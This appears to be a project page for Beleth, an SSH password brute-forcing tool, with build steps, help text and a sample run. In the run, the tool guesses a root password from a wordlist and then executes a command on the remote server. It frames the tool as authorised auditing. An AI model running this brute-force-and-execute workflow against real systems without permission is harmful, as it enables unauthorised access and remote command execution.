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Beleth is a multi-threaded asynchronous SSH password auditing tool written in C. There are plenty of other password cracking programs out there that can do the job, but I wanted something small, fast, and custom as a proof of concept. After preliminary tests, Beleth was able to outperform both THC-Hydra and Ncrack. Beleth also allows you to run a remote command after successfully cracking a password. Pull requests are welcome as the development is an ongoing process. For a more in depth look at the code, check out Chokepoint development blog.


Beleth is a password auditing tool and should not be run against anyone else's system without receiving proper permission first. By using this application on a live connection, you do so at your own risk.

Get the source

Beleth is available on github and will continue to be updated with new features. The only library dependency is LibSSH2. Included with Beleth is the 2012 Top 25 most used passwords list.

$ git clone
$ cd beleth
$ make
$ ./beleth -h
Usage: ./beleth [OPTIONS]
	-c [payload]	Execute payload on remote server once logged in
	-h		Display this help
	-l [threads]	Limit threads to given number. Default: 10
	-p [port]	Specify remote port
	-t [target]	Attempt connections to this server
	-u [user]	Attempt connection using this username
	-v		-v (Show attempts) -vv (Show debugging)
	-w [wordlist]	Use this wordlist. Defaults to wordlist.txt
$ ./beleth -t -u root -w wordlist.txt -c 'uname -a' -l 15
|                 Beleth                  |
|             |
[*] Read 25 passwords from file.
[*] Starting task manager
[*] Spawning 15 threads
[*] Starting attack on [email protected]:22
[*] Authentication succeeded (root:[email protected]:22)
[*] Executing: uname -a
[*] Linux eclipse 3.2.0-4-686-pae #1 SMP Debian 3.2.46-1+deb7u1 i686 GNU/Linux
[*] Cleaning up child processes.
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